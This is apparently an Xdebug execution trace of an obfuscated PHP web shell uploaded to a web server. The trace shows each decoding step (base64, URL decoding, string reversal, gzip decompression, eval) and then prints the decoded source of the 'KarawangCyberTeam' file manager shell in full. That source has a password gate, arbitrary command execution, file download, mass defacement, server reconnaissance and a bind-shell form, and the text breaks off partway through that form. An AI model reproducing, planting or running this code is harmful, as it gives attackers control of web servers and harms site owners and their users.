Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:13:23.291065]
1	0	1	0.000150	393528
1	3	0	0.000289	410736	{main}	1		/var/www/html/uploads/shellll.PHP	0	0
1		A						/var/www/html/uploads/shellll.PHP	14	$JhonCoders = 'ZXZhbCUyOCUyNyUzRiUyNmd0JTNCJTI3Lmd6dW5jb21wcmVzcyUyOGd6aW5mbGF0ZSUyOGJhc2U2NF9kZWNvZGUlMjhzdHJyZXYlMjglMjRCbGFja19Db2RlcnMlMjklMjklMjklMjklMjklM0I='
1		A						/var/www/html/uploads/shellll.PHP	16	$Black_Coders = '==gJfOAk/4vdzOIArPyfGprNm6d57OeVc697erMc8JL7G2Rnppn/KP7kzv5w6iW3tlVDt3Jq6W1O0Y9RSFjGq3JTa/6EU7O15t03TGmMAzoi7efDc6dRSFvLNz6Sky2SzSsnaqL72UmwV2EcNQzN/ac8lUlaNsTIKJqsT8Lp/9a6pEO3hrwIMFQw97jIpWacI85EeWCJEtBfktqbHZZ7kvdAdZ7Nzw/0CoHScSgtF9My9tscN95fSS3+13nX8wYbk5NqzwwC0nIoA1U2cjwMbM7lYu9zrFzrbmVjcqNzr94Gx0rMqshkX3M0kaD1cDCPG4Zd+5PX74HdP+5XJNt6mhLAVNpf0Fja0ssAqxEmj0iWspNVNIGvQtpN6OxpOWgWkRtIkzh2bZLK5Ut4CmZ4XyPGfRjynICggyUCowHiOKY62rdTt2F+PYoAR5kgVguVFm6Dv4WCY7zhjj8dXOoq/Ih54p3MVljevn5IaTHYG3mLiqLnJGD+rDYQIQwt65Ji'
2	4	0	0.000364	410736	base64_decode	0		/var/www/html/uploads/shellll.PHP	17	1	'ZXZhbCUyOCUyNyUzRiUyNmd0JTNCJTI3Lmd6dW5jb21wcmVzcyUyOGd6aW5mbGF0ZSUyOGJhc2U2NF9kZWNvZGUlMjhzdHJyZXYlMjglMjRCbGFja19Db2RlcnMlMjklMjklMjklMjklMjklM0I='
2	4	1	0.000386	410960
2	4	R			'eval%28%27%3F%26gt%3B%27.gzuncompress%28gzinflate%28base64_decode%28strrev%28%24Black_Coders%29%29%29%29%29%3B'
2	5	0	0.000406	410928	urldecode	0		/var/www/html/uploads/shellll.PHP	17	1	'eval%28%27%3F%26gt%3B%27.gzuncompress%28gzinflate%28base64_decode%28strrev%28%24Black_Coders%29%29%29%29%29%3B'
2	5	1	0.000425	411120
2	5	R			'eval(\'?&gt;\'.gzuncompress(gzinflate(base64_decode(strrev($Black_Coders)))));'
2	6	0	0.000443	410896	htmlspecialchars_decode	0		/var/www/html/uploads/shellll.PHP	17	1	'eval(\'?&gt;\'.gzuncompress(gzinflate(base64_decode(strrev($Black_Coders)))));'
2	6	1	0.000461	411056
2	6	R			'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($Black_Coders)))));'
2	7	0	0.000491	412416	eval	1	'eval(\'?>\'.gzuncompress(gzinflate(base64_decode(strrev($Black_Coders)))));'	/var/www/html/uploads/shellll.PHP	17	0
3	8	0	0.000509	412416	strrev	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code	1	1	'==gJfOAk/4vdzOIArPyfGprNm6d57OeVc697erMc8JL7G2Rnppn/KP7kzv5w6iW3tlVDt3Jq6W1O0Y9RSFjGq3JTa/6EU7O15t03TGmMAzoi7efDc6dRSFvLNz6Sky2SzSsnaqL72UmwV2EcNQzN/ac8lUlaNsTIKJqsT8Lp/9a6pEO3hrwIMFQw97jIpWacI85EeWCJEtBfktqbHZZ7kvdAdZ7Nzw/0CoHScSgtF9My9tscN95fSS3+13nX8wYbk5NqzwwC0nIoA1U2cjwMbM7lYu9zrFzrbmVjcqNzr94Gx0rMqshkX3M0kaD1cDCPG4Zd+5PX74HdP+5XJNt6mhLAVNpf0Fja0ssAqxEmj0iWspNVNIGvQtpN6OxpOWgWkRtIkzh2bZLK5Ut4CmZ4XyPGfRjynICggyUCowHiOKY62rdTt2F+PYoAR5kgVguVFm6Dv4WCY7zhjj8dXOoq/Ih54p3MVljevn5IaTHYG3mLiqLnJGD+rDYQIQwt65Ji'
3	8	1	0.000546	428832
3	8	R			'AesoFNd4nO196XLbuNLob09V3gHD4xrK37EWb5nEsZ3Y8hI5jhdJXuLEpaJISmJEkRySsqycyX2M++P+ue92n+R2NwAuErXYceabr2pSFYsEGo0G0OhuNBrg1luv4734pfhfbKA5IQtd5pu6a5hvma45BaY5BjNcRw1Zy/XbJgHovmlY8NQxmdYPO67PNpfYfxVf/BKYYSO0embDtnpWmCstvXnxi+n7rt/wTc/1Q8tp88R3lmM1ADqn8mzbbavLTt+205mQ3CCAQF0eKdfTHhrmg6n3Q8t1qNIxELcfev2w0ey3WqYPVY8BGFbg2dowqoJRfmAGAeIMQs0Pc5hiaKHZMMyW1rd5+765jkkolN3A0orHWhdANQVhFx3N0dg203wfMPdM6LPcYuP8rFZfZouNo4M6AXkDA2CUruuErm2v/76ivGHFIvO0IBi4vvHiF6uVM3teOISytYNarXJ2+hl7w3LUu6Ul9p8Xv7zdefHLVifs2fC7sNUxNQMfFrZ6'
3	9	0	0.000582	428800	base64_decode	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code	1	1	'AesoFNd4nO196XLbuNLob09V3gHD4xrK37EWb5nEsZ3Y8hI5jhdJXuLEpaJISmJEkRySsqycyX2M++P+ue92n+R2NwAuErXYceabr2pSFYsEGo0G0OhuNBrg1luv4734pfhfbKA5IQtd5pu6a5hvma45BaY5BjNcRw1Zy/XbJgHovmlY8NQxmdYPO67PNpfYfxVf/BKYYSO0embDtnpWmCstvXnxi+n7rt/wTc/1Q8tp88R3lmM1ADqn8mzbbavLTt+205mQ3CCAQF0eKdfTHhrmg6n3Q8t1qNIxELcfev2w0ey3WqYPVY8BGFbg2dowqoJRfmAGAeIMQs0Pc5hiaKHZMMyW1rd5+765jkkolN3A0orHWhdANQVhFx3N0dg203wfMPdM6LPcYuP8rFZfZouNo4M6AXkDA2CUruuErm2v/76ivGHFIvO0IBi4vvHiF6uVM3teOISytYNarXJ2+hl7w3LUu6Ul9p8Xv7zdefHLVifs2fC7sNUxNQMfFrZ6'
3	9	1	0.000648	445216
3	9	R			'\001(\024x}r۸oOU\001\032߱\026oı\0229\027I^ĥHJbD\034}vv7\000.\022q曯jR\025\004\032\006n4\032[_l9!\v]曺ko9\0059\0063\\G\rY&\001iX1\017;6\025_\022a#zfözV+-yMCiwc5\000:lmN߶ә @]\036)\036\032惩Cu1\020\037zZ\017U\001\030V0Q~`\006\001\fB\017sbh0ַ̖yI(ҊZ\027@5\005a\027\0356|\0370LbV_f:\001y\003\003`넮ma" \030\0273{^8Zrv\031{rԻ%\027yV\''
3	10	0	0.000941	428800	gzinflate	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code	1	1	'\001(\024x}r۸oOU\001\032߱\026oı\0229\027I^ĥHJbD\034}vv7\000.\022q曯jR\025\004\032\006n4\032[_l9!\v]曺ko9\0059\0063\\G\rY&\001iX1\017;6\025_\022a#zfözV+-yMCiwc5\000:lmN߶ә @]\036)\036\032惩Cu1\020\037zZ\017U\001\030V0Q~`\006\001\fB\017sbh0ַ̖yI(ҊZ\027@5\005a\027\0356|\0370LbV_f:\001y\003\003`넮ma" \030\0273{^8Zrv\031{rԻ%\027yV\''
3	10	1	0.001194	441120
3	10	R			'x}r۸oOU\001\032߱\026oı\0229\027I^ĥHJbD\034}vv7\000.\022q曯jR\025\004\032\006n4\032[_l9!\v]曺ko9\0059\0063\\G\rY&\001iX1\017;6\025_\022a#zfözV+-yMCiwc5\000:lmN߶ә @]\036)\036\032惩Cu1\020\037zZ\017U\001\030V0Q~`\006\001\fB\017sbh0ַ̖yI(ҊZ\027@5\005a\027\0356|\0370LbV_f:\001y\003\003`넮ma" \030\0273{^8Zrv\031{rԻ%\027yV\'15\003'
3	11	0	0.001428	424704	gzuncompress	0		/var/www/html/uploads/shellll.PHP(17) : eval()'d code	1	1	'x}r۸oOU\001\032߱\026oı\0229\027I^ĥHJbD\034}vv7\000.\022q曯jR\025\004\032\006n4\032[_l9!\v]曺ko9\0059\0063\\G\rY&\001iX1\017;6\025_\022a#zfözV+-yMCiwc5\000:lmN߶ә @]\036)\036\032惩Cu1\020\037zZ\017U\001\030V0Q~`\006\001\fB\017sbh0ַ̖yI(ҊZ\027@5\005a\027\0356|\0370LbV_f:\001y\003\003`넮ma" \030\0273{^8Zrv\031{rԻ%\027yV\'15\003'
3	11	1	0.001785	469792
3	11	R			'<?php\r\n/* want to recode? can. and don\'t forget to credit the author :) */\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n@ini_set(\'error_log\',null);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0);\r\n@ini_set(\'display_errors\', 0);\r\nsession_start();\r\ndate_default_timezone_set("Asia/Jakarta");\r\n$nana = array_merge($_POST, $_GET);\r\n$pwd = "kontoll471"; // password\r\nif(empty($_SESSION[\'login\'])) {\r\n?>\r\n<html>\r\n\t<head>\r\n\t\t'
3	12	0	0.002989	701160	eval	1	'?><?php\r\n/* want to recode? can. and don\'t forget to credit the author :) */\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n@ini_set(\'error_log\',null);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0);\r\n@ini_set(\'display_errors\', 0);\r\nsession_start();\r\ndate_default_timezone_set("Asia/Jakarta");\r\n$nana = array_merge($_POST, $_GET);\r\n$pwd = "kontoll471"; // password\r\nif(empty($_SESSION[\'login\'])) {\r\n?>\r\n<html>\r\n\t<head>\r\n\t\t<meta charset="UTF-8">\r\n\t\t<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">\r\n\t\t<title><?=$_SERVER[\'HTTP_HOST\'];?> login filemanager V.0.1</title>\r\n\t\t<link rel="stylesheet" href="//unknownsec.ftp.sh/main/style-fm.css">\r\n\t\t<script src="//cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js"></script>\r\n\t</head>\r\n<body class="bg-secondary text-light">\r\n<div class="container-fluid">\r\n\t<div class="py-3" id="main">\r\n\t\t<div class="box shadow bg-dark p-4 rounded-3">\r\n\t\t\t<form method="post">\r\n\t\t\t\t<i class="bi bi-display"></i>&nbsp;Login Filemanager V.0.1</u>\r\n<?php\r\nif($nana[\'pwd\']) {\r\n\tif($nana[\'pwd\'] == $pwd) {\r\n\t\t$_SESSION[\'login\'] = "login";\r\nprint \'<strong>Login</strong> ok!  \'.alt_ok().\'<a class="btn-close" href="\'.$_SERVER[\'PHP_SELF\'].\'"></a></div>\';\r\n\t\t} else { \r\nprint \'<strong>Login</strong> fail! \'.alt_fail().\'</div>\';\r\n\t}\r\n}\r\n?>\r\n\t\t\t\t<div class="input-group mb-3">\r\n\t\t\t\t<div class="input-group-text"><i class="bi bi-terminal"></i></div>\r\n\t\t\t\t\t<input class="form-control form-control-sm" type="password" name="pwd" placeholder="Password" required="required">\r\n\t\t\t\t</div>\r\n\t\t\t</form>\r\n\t\t<div class="text-secondary">&copy; <?=date("Y");?> ./KarawangCyberTeam</div>\r\n\t\t</div>\r\n\t</div>\r\n</div>\r\n</body>\r\n</html>\r\n<?php\r\nexit();\r\n}\r\n// logout\r\nif(isset($nana["left"])) {\r\n\tsession_start();\r\n\tsession_destroy();\r\n\tprint \'<script>window.location="\'.$_SERVER[\'PHP_SELF\'].\'";</script>\';\r\n}\r\n// download file\r\nif(isset($nana[\'opn\']) && ($nana[\'opn\'] != \'\') && ($nana[\'action\'] == \'download\')){\r\n\t@ob_clean();\r\n\t$file = $nana[\'opn\'];\r\n\theader(\'Content-Description: File Transfer\');\r\n\theader(\'Content-Type: application/octet-stream\');\r\n\theader(\'Content-Disposition: attachment; filename="\'.basename($file).\'"\');\r\n\theader(\'Expires: 0\');\r\n\theader(\'Cache-Control: must-revalidate\');\r\n\theader(\'Pragma: public\');\r\n\theader(\'Content-Length: \' . filesize($file));\r\n\treadfile($file);\r\n\texit;\r\n}\r\nfunction w($dir,$perm) {\r\n\tif(!is_writable($dir)) {\r\n\t\treturn "<rd>".$perm."</rd>";\r\n\t} else {\r\n\t\treturn "<cmd>".$perm."</cmd>";\r\n\t}\r\n}\r\nfunction s(){\r\n\tprint \'<style>table{display:none;}</style><br>\';\r\n}\r\nfunction alt_ok(){\r\n\tprint \'<div class="alert alert-success alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>\';\r\n}\r\nfunction alt_fail(){\r\n\tprint \'<div class="alert alert-danger alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>\';\r\n}\r\nfunction op($d, $e) {\r\n\t$fp = fopen($d, "w");\r\n\t$ch = curl_init();\r\n\tcurl_setopt($ch, CURLOPT_URL, $e);\r\n\tcurl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\r\n\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\r\n\tcurl_setopt($ch, CURLOPT_FILE, $fp);\r\n\treturn curl_exec($ch);\r\n\tcurl_close($ch);\r\n\tfclose($fp);\r\n\tob_flush();\r\n\tflush();\r\n}\r\nfunction sz($byt){\r\n\t$typ = array(\'B\', \'KB\', \'MB\', \'GB\', \'TB\');\r\n\tfor($i = 0; $byt >= 1024 && $i < (count($typ) -1 ); $byt /= 1024, $i++ );\r\n\treturn(round($byt,2)." ".$typ[$i]);\r\n}\r\nfunction ia() {\r\n\t$ia = \'\';\r\nif (getenv(\'HTTP_CLIENT_IP\'))\r\n\t$ia = getenv(\'HTTP_CLIENT_IP\');\r\nelse if(getenv(\'HTTP_X_FORWARDED_FOR\'))\r\n\t$ia = getenv(\'HTTP_X_FORWARDED_FOR\');\r\nelse if(getenv(\'HTTP_X_FORWARDED\'))\r\n\t$ia = getenv(\'HTTP_X_FORWARDED\');\r\nelse if(getenv(\'HTTP_FORWARDED_FOR\'))\r\n\t$ia = getenv(\'HTTP_FORWARDED_FOR\');\r\nelse if(getenv(\'HTTP_FORWARDED\'))\r\n\t$ia = getenv(\'HTTP_FORWARDED\');\r\nelse if(getenv(\'REMOTE_ADDR\'))\r\n\t$ia = getenv(\'REMOTE_ADDR\');\r\nelse\r\n\t$ia = \'S4dboy IP.\';\r\nreturn $ia;\r\n}\r\nfunction exe($cmd) {\r\nif(function_exists(\'system\')) {\r\n\t@ob_start();\r\n\t@system($cmd);\r\n\t$buff = @ob_get_contents();\r\n\t@ob_end_clean();\r\n\treturn $buff;\r\n} elseif(function_exists(\'exec\')) {\r\n\t@exec($cmd,$results);\r\n\t$buff = "";\r\nforeach($results as $result) {\r\n\t$buff .= $result;\r\n\t} return $buff;\r\n} elseif(function_exists(\'passthru\')) {\r\n\t@ob_start();\r\n\t@passthru($cmd);\r\n\t$buff = @ob_get_contents();\r\n\t@ob_end_clean();\r\n\treturn $buff;\r\n} elseif(function_exists(\'shell_exec\')) {\r\n\t$buff = @shell_exec($cmd);\r\n\treturn $buff;\r\n\t}\r\n}\r\nfunction p($file){\r\n$p = fileperms($file);\r\nif (($p & 0xC000) == 0xC000) {\r\n$i = \'s\';\r\n} elseif (($p & 0xA000) == 0xA000) {\r\n$i = \'l\';\r\n} elseif (($p & 0x8000) == 0x8000) {\r\n$i = \'-\';\r\n} elseif (($p & 0x6000) == 0x6000) {\r\n$i = \'b\';\r\n} elseif (($p & 0x4000) == 0x4000) {\r\n$i = \'d\';\r\n} elseif (($p & 0x2000) == 0x2000) {\r\n$i = \'c\';\r\n} elseif (($p & 0x1000) == 0x1000) {\r\n$i = \'p\';\r\n} else {\r\n$i = \'u\';\r\n\t}\r\n$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n$i .= (($p & 0x0040) ?\r\n(($p & 0x0800) ? \'s\' : \'x\' ) :\r\n(($p & 0x0800) ? \'S\' : \'-\'));\r\n$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n$i .= (($p & 0x0008) ?\r\n(($p & 0x0400) ? \'s\' : \'x\' ) :\r\n(($p & 0x0400) ? \'S\' : \'-\'));\r\n$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n$i .= (($p & 0x0001) ?\r\n(($p & 0x0200) ? \'t\' : \'x\' ) :\r\n(($p & 0x0200) ? \'T\' : \'-\'));\r\nreturn $i;\r\n}\r\nif(isset($nana[\'path\'])){\r\n\t$path = $nana[\'path\'];\r\n\tchdir($path);\r\n}else{\r\n\t$path = getcwd();\r\n}\r\n$path = str_replace(\'\\\\\',\'/\',$path);\r\n$paths = explode(\'/\',$path);\r\nif(isset($nana[\'dir\'])) {\r\n\t$dir = $nana[\'dir\'];\r\n\tchdir($dir);\r\n} else {\r\n\t$dir = getcwd();\r\n}\r\nprint "\r\n<html>\r\n\t<head>\r\n\t\t<meta charset=\'UTF-8\'>\r\n\t\t<meta name=\'author\' content=\'KarawangCyberTeam\'>\r\n\t\t<meta name=\'viewport\' content=\'width=device-width, initial-scale=1, user-scalable=no\'>\r\n\t\t<title>".$_SERVER["HTTP_HOST"]." File Manager</title>\r\n\t\t<link rel=\'stylesheet\' href=\'//unknownsec.ftp.sh/main/@css_fm.css\'>\r\n\t\t<script src=\'//cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/js/bootstrap.bundle.min.js\'></script>\r\n\t\t<script src=\'//code.jquery.com/jquery-3.3.1.slim.min.js\'></script>\r\n\t</head>\r\n<script type=\'text/javascript\'>baseUrl = window.location.href.split(\'?\')[0]; window.history.pushState(\'name\', \'?\', baseUrl);</script>\r\n<script type=\'text/javascript\'>\r\nfunction c(x) {\r\n\twindow.location = x\r\n}\r\n</script>\r\n<body class=\'bg-secondary text-light\'>\r\n<div class=\'container-fluid\'>\r\n\t<div class=\'py-3\' id=\'main\'>\r\n\t\t<div class=\'box shadow bg-dark p-4 rounded-3\'>\r\n\t\t\t<a class=\'text-decoration-none text-light\' href=\'".$_SERVER[\'PHP_SELF\']."\'><h4>KarawangCyberTeam Filemanager</h4></a>";\r\n\t\t\tif(isset($nana[\'path\'])){\r\n\t\t\t\t$path = $nana[\'path\'];\r\n\t\t\t\tchdir($path);\r\n\t\t\t}else{\r\n\t\t\t\t$path = getcwd();\r\n\t\t\t}\r\n\t\t\t\t$path = str_replace(\'\\\\\',\'/\',$path);\r\n\t\t\t\t$paths = explode(\'/\',$path);\r\n\t\t\tforeach($paths as $id=>$pat){\r\n\t\t\tif($pat == \'\' && $id == 0){\r\n\t\t\t\t$a = true;\r\n\t\t\t\t\tprint "<i class=\'bi bi-hdd-rack\'></i>:<a class=\'text-decoration-none text-light\' onclick=\'c(\\"?path=/\\")\'>/</a>";\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\tif($pat == \'\') continue;\r\n\t\tprint "<a class=\'text-decoration-none\' onclick=\'c(\\"?path=";\r\n\t\tfor($i=0;$i<=$id;$i++){\r\n\t\tprint "$paths[$i]";\r\n\tif($i != $id) print "/";\r\n\t}\r\nprint "\\")\'>".$pat."</a>/";\r\n\t}\r\n\t$scand = scandir($path);\r\n\tprint "&nbsp;[ ".w($path, p($path))." ]";\r\nprint "\r\n<div class=\'center\'>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"".$_SERVER[\'PHP_SELF\']."\\")\'><i class=\'bi bi-house\'></i> Home</a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&id=upload\\")\'><i class=\'bi bi-upload\'></i> Upload</a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&id=deface\\")\'><i class=\'bi bi-exclamation-diamond\'></i> Mass depes</a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&id=delete\\")\'><i class=\'bi bi-trash\'></i> Mass delete</a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&id=cmd\\")\'><i class=\'bi bi-terminal\'></i> Terminal</a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&id=jumping\\")\'><i class=\'bi bi-exclamation-triangle\'></i> Jumping</a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&id=network\\")\'><i class=\'bi bi-hdd-network\'></i> Network</a>\r\n\t<br>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&id=zip\\")\'><i class=\'bi bi-file-earmark-zip\'></i> Zip & Unzip</a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&id=info\\")\'><i class=\'bi bi-info-circle\'></i> Info server</a>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?dir=$path&id=about\\")\'><i class=\'bi bi-info\'></i> About</a></h5>\r\n\t<a class=\'btn btn-outline-light btn-sm\' onclick=\'c(\\"?left\\")\'><i class=\'bi bi-box-arrow-in-left\'></i> Logout</a>\r\n</div>";\r\n// tools filemanager\r\nif(isset($nana[\'dir\'])) {\r\n\t$dir = $nana[\'dir\'];\r\n\tchdir($dir);\r\n} else {\r\n\t$dir = getcwd();\r\n}\r\n$dir = str_replace("\\\\","/",$dir);\r\n$scdir = explode("/", $dir);\t\r\nfor($i = 0; $i <= $c_dir; $i++) {\r\n\t$scdir[$i];\r\n\tif($i != $c_dir) {\r\n}\r\n// mass deface #Karawang Cyber Team\r\nif($nana[\'id\'] == \'deface\'){\r\n\tfunction mass_kabeh($dir,$namafile,$isi_script) {\r\n\tif(is_writable($dir)) {\r\n\t\t$dira = scandir($dir);\r\n\t\tforeach($dira as $dirb) {\r\n\t\t\t$dirc = "$dir/$dirb";\r\n\t\t\t$▚ = $dirc.\'/\'.$namafile;\r\n\t\t\tif($dirb === \'.\') {\r\n\t\t\t\tfile_put_contents($▚, $isi_script);\r\n\t\t\t} elseif($dirb === \'..\') {\r\n\t\t\t\tfile_put_contents($▚, $isi_script);\r\n\t\t\t} else {\r\n\t\t\t\tif(is_dir($dirc)) {\r\n\t\t\t\t\tif(is_writable($dirc)) {\r\n\t\t\t\t\t\tprint "<pre>[<cmd>success</cmd>] $▚</pre>";\r\n\t\t\t\t\t\tfile_put_contents($▚, $isi_script);\r\n\t\t\t\t\t\t$▟ = mass_kabeh($dirc,$namafile,$isi_script);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nfunction mass_biasa($dir,$namafile,$isi_script) {\r\n\tif(is_writable($dir)) {\r\n\t\t$dira = scandir($dir);\r\n\t\tforeach($dira as $dirb) {\r\n\t\t\t$dirc = "$dir/$dirb";\r\n\t\t\t$▚ = $dirc.\'/\'.$namafile;\r\n\t\t\tif($dirb === \'.\') {\r\n\t\t\t\tfile_put_contents($▚, $isi_script);\r\n\t\t\t} elseif($dirb === \'..\') {\r\n\t\t\t\tfile_put_contents($▚, $isi_script);\r\n\t\t\t} else {\r\n\t\t\t\tif(is_dir($dirc)) {\r\n\t\t\t\t\tif(is_writable($dirc)) {\r\n\t\t\t\t\t\tprint "<pre>[<cmd>success</cmd>] $dirb/$namafile</pre>";\r\n\t\t\t\t\t\tfile_put_contents($▚, $isi_script);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\nif($nana[\'start\']) {\r\n\tif($nana[\'tipe\'] == \'massal\') {\r\n\t\tprint "<div style=\'margin: 5px auto; padding: 5px\'>";\r\n\tmass_kabeh($nana[\'d_dir\'], $nana[\'d_file\'], $nana[\'script\']);\r\n\t\tprint "</div>";\r\n\t} elseif($nana[\'tipe\'] == \'biasa\') {\r\n\t\tprint "<div style=\'margin: 5px auto; padding: 5px\'>";\r\n\tmass_biasa($nana[\'d_dir\'], $nana[\'d_file\'], $nana[\'script\']);\r\n\t\tprint "</div>";\r\n\t}\r\n} else {\r\ns();\r\nprint "\r\n<form action=\'?dir=$path&id=deface\' method=\'POST\'>\r\n\t<b>Tipe:</b><br>\r\n<div class=\'custom-control custom-switch\'>\r\n\t<input class=\'custom-control-input\' type=\'checkbox\' id=\'customSwitch\' name=\'tipe\' value=\'biasa\'>\r\n\t<label class=\'custom-control-label\' for=\'customSwitch\'>Biasa</label>\r\n</div>\r\n<div class=\'custom-control custom-switch\'>\r\n\t<input class=\'custom-control-input\' type=\'checkbox\' id=\'customSwitch1\' name=\'tipe\' value=\'massal\'>\r\n\t<label class=\'custom-control-label\' for=\'customSwitch1\'>Massal</label>\r\n</div>\r\n\t<b><i class=\'bi bi-folder\'></i> Directory:</b>\r\n\t<input class=\'form-control btn-sm\' type=\'text\' name=\'d_dir\' value=\'$dir\' height=\'10\'>\r\n\t<b><i class=\'bi bi-file-earmark\'></i> File name:</b>\r\n\t<input class=\'form-control btn-sm\' type=\'text\' name=\'d_file\' placeholder=\'name file\' height=\'10\'>\r\n\t<b><i class=\'bi bi-file-earmark\'></i> Your script:</b>\r\n\t<textarea class=\'form-control btn-sm\' rows=\'7\' name=\'script\' placeholder=\'your secript here\'></textarea><br />\r\n\t<input class=\'btn btn-outline-light btn-sm btn-block\' type=\'submit\' name=\'start\' value=\'submit\' >\r\n</form>";\r\n\t}\r\n}\r\n// info\r\nif($nana[\'id\'] == \'info\'){\r\n$sql = (function_exists(\'mysql_connect\')) ? "<cmd>ON</cmd>" : "<rd>OFF</rd>";\r\n$curl = (function_exists(\'curl_version\')) ? "<cmd>ON</cmd>" : "<rd>OFF</rd>";\r\n$wget = (exe(\'wget --help\')) ? "<cmd>ON</cmd>" : "<rd>OFF</rd>";\r\n$pl = (exe(\'perl --help\')) ? "<cmd>ON</cmd>" : "<rd>OFF</rd>";\r\n$py = (exe(\'python --help\')) ? "<cmd>ON</cmd>" : "<rd>OFF</rd>";\r\n$disfunc = @ini_get("disable_functions");\r\nif (empty($disfunc)) {\r\n\t$disfc = "<cmd>NONE</cmd>";\r\n} else {\r\n\t$disfc = "<rd>$disfunc</rd>";\r\n}\r\nif(!function_exists(\'posix_getegid\')) {\r\n\t$user = @get_current_user();\r\n\t$uid = @getmyuid();\r\n\t$gid = @getmygid();\r\n\t$group = "?";\r\n} else {\r\n\t$uid = @posix_getpwuid(posix_geteuid());\r\n\t$gid = @posix_getgrgid(posix_getegid());\r\n\t$user = $uid[\'name\'];\r\n\t$uid = $uid[\'uid\'];\r\n\t$group = $gid[\'name\'];\r\n\t$gid = $gid[\'gid\'];\r\n}\r\n$sm = (@ini_get(strtolower("safe_mode")) == \'on\') ? "<rd>ON</rd>" : "<cmd>OFF</cmd>";\r\ns();\r\nprint "\r\n<div class=\'container\'>\r\n\t<div class=\'card text-dark\'>\r\n\t\t<div class=\'card-header\'>\r\nUname: <cmd>".php_uname()."</cmd><br>\r\nSoftware: <cmd>".$_SERVER["SERVER_SOFTWARE"]."</cmd><br>\r\nPHP version: <cmd>".PHP_VERSION."</cmd> <a class=\'text-decoration-none\' onclick=\'c(\\"?dir=$path&id=phpinfo\\")\'>[ PHPINFO ]</a> PHP os: <cmd>".PHP_OS."</cmd><br>\r\nServer Ip: <cmd>".gethostbyname($_SERVER[\'HTTP_HOST\'])."</cmd><br>\r\nYour Ip: <cmd>".ia()."</cmd><br>\r\nUser: <cmd>$user</cmd> ($uid) | Group: <cmd>$group</cmd> ($gid)<br>\r\nSafe Mode: $sm<br>\r\nMySQL: $sql | Perl: $pl | Python: $py | WGET: $wget | CURL: $curl<br>\r\nDisable Function:<br><pre>$disfc</pre>\r\n\t\t</div>\r\n\t</div>\r\n</div>\r\n<br/>";\r\n}\r\n// phpinfo \r\nif($nana[\'id\'] == \'phpinfo\'){\r\n\t@ob_start();\r\n\t@eval("phpinfo();");\r\n\t$buff = @ob_get_contents();\r\n\t@ob_end_clean();\t\r\n\t$awal = strpos($buff,"<body>")+6;\r\n\t$akhir = strpos($buff,"</body>");\r\n\tprint "<pre class=\'php_info\'>".substr($buff,$awal,$akhir-$awal)."</pre>";\r\n\texit;\r\n}\r\nif($nana[\'id\'] == \'about\'){\r\ns();\r\nprint "\r\n<div class=\'container\'>\r\n\t<div class=\'card text-dark\'>\r\n\t\t<div class=\'card-header\'>\r\n\t\t\t<img class=\'img-thumbnail rounded mx-auto d-block\' alt=\'KarawangCyberTeam\' src=\'https://i.ibb.co/gygBGtw/20220422-004641.png\' width=\'150px\'>\r\n\t\t\t<b>- About Me -</b>\r\n\t\t\t<br/>Thank bro, for using my shell, if there is an error, please contact the email below.<br />Greetz : <u>{ Karawang Cyber Team } - And You</u><br/>My email: <a class=\'text-decoration-none\' href=melepaskanmu45@gmail.com\'>melepaskanmu45@gmail.com</a>\r\n\t\t</div>\r\n\t</div>\r\n</div>\r\n<br/>";\r\n}\r\n// network\r\nif($nana[\'id\'] == \'network\'){\r\ns();\r\n\tprint "\r\n<h4>Back Connect Tools</h4>\r\n<form action=\'?dir=$path&id=network\' method=\'post\'>\r\n\t<u>Bind port to /bin/sh [Perl]</u><br>\r\n\t<u>Port :</u>\r\n\t<div class=\'input-group\'>\r\n\t\t<input class=\'form-control btn-sm\' type=\'text\' name=\'port\' placeholder=\'6969\'>\r\n\t\t<input class=\'btn btn-outline-light btn-sm\' type=\'submit\' name=\'bpl\' 